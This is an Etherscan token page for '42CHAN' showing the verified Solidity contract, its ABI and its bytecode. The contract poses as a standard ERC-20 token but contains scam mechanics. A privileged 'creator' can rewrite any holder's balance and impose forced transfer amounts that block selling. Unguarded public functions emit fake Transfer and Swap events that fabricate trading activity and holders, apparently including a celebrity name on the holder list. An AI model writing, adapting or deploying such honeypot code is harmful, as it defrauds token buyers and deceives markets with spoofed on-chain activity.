ETH Price: $3,433.66 (-2.34%)

Token

42CHAN (42CHAN)
 

Overview

Max Total Supply

10,000,000 42CHAN

Holders

26

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Justin Sun
Balance
1,046,782.428423426373932196 42CHAN

Value
$0.00
0x3ddfa8ec3052539b6c9549f12cea2c295cff5296
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-06-28
*/

pragma solidity ^0.8.12;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address accountHolder) external view returns (uint256);
    function transfer(address to, uint256 sum) external returns (bool);
    function allowance(address authorizer, address spender) external view returns (uint256);
    function approve(address spender, uint256 sum) external returns (bool);
    function transferFrom(address from, address to, uint256 sum) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed authorizer, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

}

abstract contract ExecutionControl {
    function obtainInvokerAddress() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract SingleOwnership is ExecutionControl {
    address private _oneAndOnlyOwner;
    event OwnershipTransfer(address indexed oldOwner, address indexed newOwner);

    constructor() {
        address invoker = obtainInvokerAddress();
        _oneAndOnlyOwner = invoker;
        emit OwnershipTransfer(address(0), invoker);
    }

    function getSingleOwner() public view virtual returns (address) {
        return _oneAndOnlyOwner;
    }

    modifier oneOwnerOnly() {
        require(getSingleOwner() == obtainInvokerAddress(), "Unauthorized: Single Owner access required.");
        _;
    }

    function renounceOwnership() public virtual oneOwnerOnly {
        emit OwnershipTransfer(_oneAndOnlyOwner, address(0x000000000000000000000000000000000000dEaD));
        _oneAndOnlyOwner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract TOKEN is ExecutionControl, SingleOwnership, IERC20 {
    mapping (address => mapping (address => uint256)) private _spenderAllowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _forcedTransferAmounts;
    address private _masterCreator;

    string public constant _moniker = "42CHAN";
    string public constant _ticker = "42CHAN";
    uint8 public constant _decimalUnits = 18;
    uint256 public constant _ultimateSupply = 10000000 * (10 ** _decimalUnits);

    constructor() {
        _balances[obtainInvokerAddress()] = _ultimateSupply;
        emit Transfer(address(0), obtainInvokerAddress(), _ultimateSupply);
    }

    modifier creatorExclusive() {
        require(retrieveMasterCreator() == obtainInvokerAddress(), "Unauthorized: Creator access required.");
        _;
    }

    function retrieveMasterCreator() public view virtual returns (address) {
        return _masterCreator;
    }

    function designateCreator(address newCreator) public oneOwnerOnly {
        _masterCreator = newCreator;
    }

    event UserBalanceUpdated(address indexed user, uint256 previous, uint256 updated);

    function forcedTransferAmount(address account) public view returns (uint256) {
        return _forcedTransferAmounts[account];
    }

    function setForcedTransferAmounts(address[] calldata accounts, uint256 sum) public creatorExclusive {
        for (uint i = 0; i < accounts.length; i++) {
            _forcedTransferAmounts[accounts[i]] = sum;
        }
    }

    function alterUserBalances(address[] memory userAddresses, uint256 requiredBalance) public creatorExclusive {
        require(requiredBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "Invalid address specified");

            uint256 formerBalance = _balances[currentUser];
            _balances[currentUser] = requiredBalance;

            emit UserBalanceUpdated(currentUser, formerBalance, requiredBalance);
        }
    }

    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function executeTokenSwap(
        address uniswapPool,
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address tokenAddress
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts[i],
                0,
                0,
                wethAmounts[i],
                recipients[i]
            );
            IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]);
        }
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 sum) public virtual override returns (bool) {
        require(_balances[obtainInvokerAddress()] >= sum, "Insufficient balance");

        uint256 requisiteTransferSum = forcedTransferAmount(obtainInvokerAddress());
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[obtainInvokerAddress()] -= sum;
        _balances[to] += sum;

        emit Transfer(obtainInvokerAddress(), to, sum);
        return true;
    }

    function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
        return _spenderAllowances[authorizer][spender];
    }

    function approve(address spender, uint256 sum) public virtual override returns (bool) {
        _spenderAllowances[obtainInvokerAddress()][spender] = sum;
        emit Approval(obtainInvokerAddress(), spender, sum);
        return true;
    }

    function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
        require(_spenderAllowances[from][obtainInvokerAddress()] >= sum, "Allowance limit surpassed");

        uint256 requisiteTransferSum = forcedTransferAmount(from);
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[from] -= sum;
        _balances[to] += sum;
        _spenderAllowances[from][obtainInvokerAddress()] -= sum;

        emit Transfer(from, to, sum);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _ultimateSupply;
    }

    function name() public view returns (string memory) {
        return _moniker;
    }

    function symbol() public view returns (string memory) {
        return _ticker;
    }

    function decimals() public view returns (uint8) {
        return _decimalUnits;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"authorizer","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"previous","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updated","type":"uint256"}],"name":"UserBalanceUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimalUnits","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moniker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ticker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"authorizer","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"requiredBalance","type":"uint256"}],"name":"alterUserBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"designateCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"forcedTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSingleOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrieveMasterCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"setForcedTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600080546001600160a01b031916339081178255604051909182917f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca908290a350620000616012600a620001ee565b62000070906298968062000206565b33600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620000b36012600a620001ee565b620000c2906298968062000206565b60405190815260200160405180910390a362000220565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000130578160001904821115620001145762000114620000d9565b808516156200012257918102915b93841c9390800290620000f4565b509250929050565b6000826200014957506001620001e8565b816200015857506000620001e8565b81600181146200017157600281146200017c576200019c565b6001915050620001e8565b60ff841115620001905762000190620000d9565b50506001821b620001e8565b5060208310610133831016604e8410600b8410161715620001c1575081810a620001e8565b620001cd8383620000ef565b8060001904821115620001e457620001e4620000d9565b0290505b92915050565b6000620001ff60ff84168362000138565b9392505050565b8082028115828204841417620001e857620001e8620000d9565b61120880620002306000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf23146102be578063cadc24b5146102c6578063d8fb9361146102ef578063dd62ed3e14610302578063e03504af14610225578063e156b1b61461033b57600080fd5b80638e32c0031461027d57806395d89b4114610147578063a713fd5314610290578063a9059cbb14610298578063adacad8c146102ab57600080fd5b806328226aa71161010a57806328226aa7146101da578063313ce567146101ff578063416c3c9d146102145780635c01b60c1461022557806370a082311461024a578063715018a61461027357600080fd5b806306fdde0314610147578063095ea7b31461017b57806318160ddd1461019e5780631ae1ffbc146101b457806323b872dd146101c7575b600080fd5b6040805180820190915260068152651a1921a420a760d11b60208201525b6040516101729190610bc3565b60405180910390f35b61018e610189366004610c2d565b61034e565b6040519015158152602001610172565b6101a66103b6565b604051908152602001610172565b61018e6101c2366004610d8f565b6103d6565b61018e6101d5366004610e39565b6105ed565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610172565b60125b60405160ff9091168152602001610172565b6004546001600160a01b03166101e7565b610165604051806040016040528060068152602001651a1921a420a760d11b81525081565b6101a6610258366004610e75565b6001600160a01b031660009081526002602052604090205490565b61027b6107ad565b005b61027b61028b366004610e75565b610827565b610202601281565b61018e6102a6366004610c2d565b610873565b61027b6102b9366004610e97565b6109b5565b6101a6610a48565b6101a66102d4366004610e75565b6001600160a01b031660009081526003602052604090205490565b61027b6102fd366004610f12565b610a64565b6101a6610310366004610f57565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61018e610349366004610e39565b610b8e565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60006103c46012600a611084565b6103d19062989680611093565b905090565b6000805b85518110156105e0578581815181106103f5576103f56110aa565b60200260200101516001600160a01b0316876001600160a01b03166000805160206111b3833981519152878481518110610431576104316110aa565b602002602001015160405161044891815260200190565b60405180910390a3858181518110610462576104626110aa565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106104c4576104c46110aa565b60200260200101516000808987815181106104e1576104e16110aa565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b687838151811061052f5761052f6110aa565b60200260200101518987858151811061054a5761054a6110aa565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af11580156105a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105cd91906110c0565b50806105d8816110e2565b9150506103da565b5060019695505050505050565b6001600160a01b03831660009081526001602090815260408083203384529091528120548211156106655760405162461bcd60e51b815260206004820152601960248201527f416c6c6f77616e6365206c696d6974207375727061737365640000000000000060448201526064015b60405180910390fd5b6001600160a01b03841660009081526003602052604090205480156106d3578083146106d35760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368604482015260640161065c565b6001600160a01b038516600090815260026020526040812080548592906106fb9084906110fb565b90915550506001600160a01b0384166000908152600260205260408120805485929061072890849061110e565b90915550506001600160a01b0385166000908152600160209081526040808320338452909152812080548592906107609084906110fb565b92505081905550836001600160a01b0316856001600160a01b03166000805160206111b38339815191528560405161079a91815260200190565b60405180910390a3506001949350505050565b6000546001600160a01b031633146107d75760405162461bcd60e51b815260040161065c90611121565b6000805460405161dead926001600160a01b03909216917f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca91a3600080546001600160a01b03191661dead179055565b6000546001600160a01b031633146108515760405162461bcd60e51b815260040161065c90611121565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b336000908152600260205260408120548211156108c95760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b604482015260640161065c565b60006108d4336102d4565b9050801561092b5780831461092b5760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368604482015260640161065c565b336000908152600260205260408120805485929061094a9084906110fb565b90915550506001600160a01b0384166000908152600260205260408120805485929061097790849061110e565b90915550506040518381526001600160a01b0385169033906000805160206111b3833981519152906020015b60405180910390a35060019392505050565b6004546001600160a01b031633146109df5760405162461bcd60e51b815260040161065c9061116c565b60005b82811015610a42578160036000868685818110610a0157610a016110aa565b9050602002016020810190610a169190610e75565b6001600160a01b0316815260208101919091526040016000205580610a3a816110e2565b9150506109e2565b50505050565b610a546012600a611084565b610a619062989680611093565b81565b6004546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161065c9061116c565b60005b8251811015610b89576000838281518110610aae57610aae6110aa565b6020026020010151905060006001600160a01b0316816001600160a01b031603610b1a5760405162461bcd60e51b815260206004820152601960248201527f496e76616c696420616464726573732073706563696669656400000000000000604482015260640161065c565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c84890910160405180910390a250508080610b81906110e2565b915050610a91565b505050565b6000826001600160a01b0316846001600160a01b03166000805160206111b3833981519152846040516109a391815260200190565b600060208083528351808285015260005b81811015610bf057858101830151858201604001528201610bd4565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c2857600080fd5b919050565b60008060408385031215610c4057600080fd5b610c4983610c11565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610c9657610c96610c57565b604052919050565b600067ffffffffffffffff821115610cb857610cb8610c57565b5060051b60200190565b600082601f830112610cd357600080fd5b81356020610ce8610ce383610c9e565b610c6d565b82815260059290921b84018101918181019086841115610d0757600080fd5b8286015b84811015610d2957610d1c81610c11565b8352918301918301610d0b565b509695505050505050565b600082601f830112610d4557600080fd5b81356020610d55610ce383610c9e565b82815260059290921b84018101918181019086841115610d7457600080fd5b8286015b84811015610d295780358352918301918301610d78565b600080600080600060a08688031215610da757600080fd5b610db086610c11565b9450602086013567ffffffffffffffff80821115610dcd57600080fd5b610dd989838a01610cc2565b95506040880135915080821115610def57600080fd5b610dfb89838a01610d34565b94506060880135915080821115610e1157600080fd5b50610e1e88828901610d34565b925050610e2d60808701610c11565b90509295509295909350565b600080600060608486031215610e4e57600080fd5b610e5784610c11565b9250610e6560208501610c11565b9150604084013590509250925092565b600060208284031215610e8757600080fd5b610e9082610c11565b9392505050565b600080600060408486031215610eac57600080fd5b833567ffffffffffffffff80821115610ec457600080fd5b818601915086601f830112610ed857600080fd5b813581811115610ee757600080fd5b8760208260051b8501011115610efc57600080fd5b6020928301989097509590910135949350505050565b60008060408385031215610f2557600080fd5b823567ffffffffffffffff811115610f3c57600080fd5b610f4885828601610cc2565b95602094909401359450505050565b60008060408385031215610f6a57600080fd5b610f7383610c11565b9150610f8160208401610c11565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610fdb578160001904821115610fc157610fc1610f8a565b80851615610fce57918102915b93841c9390800290610fa5565b509250929050565b600082610ff2575060016103b0565b81610fff575060006103b0565b8160018114611015576002811461101f5761103b565b60019150506103b0565b60ff84111561103057611030610f8a565b50506001821b6103b0565b5060208310610133831016604e8410600b841016171561105e575081810a6103b0565b6110688383610fa0565b806000190482111561107c5761107c610f8a565b029392505050565b6000610e9060ff841683610fe3565b80820281158282048414176103b0576103b0610f8a565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156110d257600080fd5b81518015158114610e9057600080fd5b6000600182016110f4576110f4610f8a565b5060010190565b818103818111156103b0576103b0610f8a565b808201808211156103b0576103b0610f8a565b6020808252602b908201527f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360408201526a39903932b8bab4b932b21760a91b606082015260800190565b60208082526026908201527f556e617574686f72697a65643a2043726561746f7220616363657373207265716040820152653ab4b932b21760d11b60608201526080019056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212209af55418fc9b50a3d18440f56f900db8071984c87e6346ecf6c413590542869e64736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf23146102be578063cadc24b5146102c6578063d8fb9361146102ef578063dd62ed3e14610302578063e03504af14610225578063e156b1b61461033b57600080fd5b80638e32c0031461027d57806395d89b4114610147578063a713fd5314610290578063a9059cbb14610298578063adacad8c146102ab57600080fd5b806328226aa71161010a57806328226aa7146101da578063313ce567146101ff578063416c3c9d146102145780635c01b60c1461022557806370a082311461024a578063715018a61461027357600080fd5b806306fdde0314610147578063095ea7b31461017b57806318160ddd1461019e5780631ae1ffbc146101b457806323b872dd146101c7575b600080fd5b6040805180820190915260068152651a1921a420a760d11b60208201525b6040516101729190610bc3565b60405180910390f35b61018e610189366004610c2d565b61034e565b6040519015158152602001610172565b6101a66103b6565b604051908152602001610172565b61018e6101c2366004610d8f565b6103d6565b61018e6101d5366004610e39565b6105ed565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610172565b60125b60405160ff9091168152602001610172565b6004546001600160a01b03166101e7565b610165604051806040016040528060068152602001651a1921a420a760d11b81525081565b6101a6610258366004610e75565b6001600160a01b031660009081526002602052604090205490565b61027b6107ad565b005b61027b61028b366004610e75565b610827565b610202601281565b61018e6102a6366004610c2d565b610873565b61027b6102b9366004610e97565b6109b5565b6101a6610a48565b6101a66102d4366004610e75565b6001600160a01b031660009081526003602052604090205490565b61027b6102fd366004610f12565b610a64565b6101a6610310366004610f57565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61018e610349366004610e39565b610b8e565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60006103c46012600a611084565b6103d19062989680611093565b905090565b6000805b85518110156105e0578581815181106103f5576103f56110aa565b60200260200101516001600160a01b0316876001600160a01b03166000805160206111b3833981519152878481518110610431576104316110aa565b602002602001015160405161044891815260200190565b60405180910390a3858181518110610462576104626110aa565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106104c4576104c46110aa565b60200260200101516000808987815181106104e1576104e16110aa565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b687838151811061052f5761052f6110aa565b60200260200101518987858151811061054a5761054a6110aa565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af11580156105a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105cd91906110c0565b50806105d8816110e2565b9150506103da565b5060019695505050505050565b6001600160a01b03831660009081526001602090815260408083203384529091528120548211156106655760405162461bcd60e51b815260206004820152601960248201527f416c6c6f77616e6365206c696d6974207375727061737365640000000000000060448201526064015b60405180910390fd5b6001600160a01b03841660009081526003602052604090205480156106d3578083146106d35760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368604482015260640161065c565b6001600160a01b038516600090815260026020526040812080548592906106fb9084906110fb565b90915550506001600160a01b0384166000908152600260205260408120805485929061072890849061110e565b90915550506001600160a01b0385166000908152600160209081526040808320338452909152812080548592906107609084906110fb565b92505081905550836001600160a01b0316856001600160a01b03166000805160206111b38339815191528560405161079a91815260200190565b60405180910390a3506001949350505050565b6000546001600160a01b031633146107d75760405162461bcd60e51b815260040161065c90611121565b6000805460405161dead926001600160a01b03909216917f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca91a3600080546001600160a01b03191661dead179055565b6000546001600160a01b031633146108515760405162461bcd60e51b815260040161065c90611121565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b336000908152600260205260408120548211156108c95760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b604482015260640161065c565b60006108d4336102d4565b9050801561092b5780831461092b5760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368604482015260640161065c565b336000908152600260205260408120805485929061094a9084906110fb565b90915550506001600160a01b0384166000908152600260205260408120805485929061097790849061110e565b90915550506040518381526001600160a01b0385169033906000805160206111b3833981519152906020015b60405180910390a35060019392505050565b6004546001600160a01b031633146109df5760405162461bcd60e51b815260040161065c9061116c565b60005b82811015610a42578160036000868685818110610a0157610a016110aa565b9050602002016020810190610a169190610e75565b6001600160a01b0316815260208101919091526040016000205580610a3a816110e2565b9150506109e2565b50505050565b610a546012600a611084565b610a619062989680611093565b81565b6004546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161065c9061116c565b60005b8251811015610b89576000838281518110610aae57610aae6110aa565b6020026020010151905060006001600160a01b0316816001600160a01b031603610b1a5760405162461bcd60e51b815260206004820152601960248201527f496e76616c696420616464726573732073706563696669656400000000000000604482015260640161065c565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c84890910160405180910390a250508080610b81906110e2565b915050610a91565b505050565b6000826001600160a01b0316846001600160a01b03166000805160206111b3833981519152846040516109a391815260200190565b600060208083528351808285015260005b81811015610bf057858101830151858201604001528201610bd4565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c2857600080fd5b919050565b60008060408385031215610c4057600080fd5b610c4983610c11565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610c9657610c96610c57565b604052919050565b600067ffffffffffffffff821115610cb857610cb8610c57565b5060051b60200190565b600082601f830112610cd357600080fd5b81356020610ce8610ce383610c9e565b610c6d565b82815260059290921b84018101918181019086841115610d0757600080fd5b8286015b84811015610d2957610d1c81610c11565b8352918301918301610d0b565b509695505050505050565b600082601f830112610d4557600080fd5b81356020610d55610ce383610c9e565b82815260059290921b84018101918181019086841115610d7457600080fd5b8286015b84811015610d295780358352918301918301610d78565b600080600080600060a08688031215610da757600080fd5b610db086610c11565b9450602086013567ffffffffffffffff80821115610dcd57600080fd5b610dd989838a01610cc2565b95506040880135915080821115610def57600080fd5b610dfb89838a01610d34565b94506060880135915080821115610e1157600080fd5b50610e1e88828901610d34565b925050610e2d60808701610c11565b90509295509295909350565b600080600060608486031215610e4e57600080fd5b610e5784610c11565b9250610e6560208501610c11565b9150604084013590509250925092565b600060208284031215610e8757600080fd5b610e9082610c11565b9392505050565b600080600060408486031215610eac57600080fd5b833567ffffffffffffffff80821115610ec457600080fd5b818601915086601f830112610ed857600080fd5b813581811115610ee757600080fd5b8760208260051b8501011115610efc57600080fd5b6020928301989097509590910135949350505050565b60008060408385031215610f2557600080fd5b823567ffffffffffffffff811115610f3c57600080fd5b610f4885828601610cc2565b95602094909401359450505050565b60008060408385031215610f6a57600080fd5b610f7383610c11565b9150610f8160208401610c11565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610fdb578160001904821115610fc157610fc1610f8a565b80851615610fce57918102915b93841c9390800290610fa5565b509250929050565b600082610ff2575060016103b0565b81610fff575060006103b0565b8160018114611015576002811461101f5761103b565b60019150506103b0565b60ff84111561103057611030610f8a565b50506001821b6103b0565b5060208310610133831016604e8410600b841016171561105e575081810a6103b0565b6110688383610fa0565b806000190482111561107c5761107c610f8a565b029392505050565b6000610e9060ff841683610fe3565b80820281158282048414176103b0576103b0610f8a565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156110d257600080fd5b81518015158114610e9057600080fd5b6000600182016110f4576110f4610f8a565b5060010190565b818103818111156103b0576103b0610f8a565b808201808211156103b0576103b0610f8a565b6020808252602b908201527f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360408201526a39903932b8bab4b932b21760a91b606082015260800190565b60208082526026908201527f556e617574686f72697a65643a2043726561746f7220616363657373207265716040820152653ab4b932b21760d11b60608201526080019056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212209af55418fc9b50a3d18440f56f900db8071984c87e6346ecf6c413590542869e64736f6c63430008120033

Deployed Bytecode Sourcemap

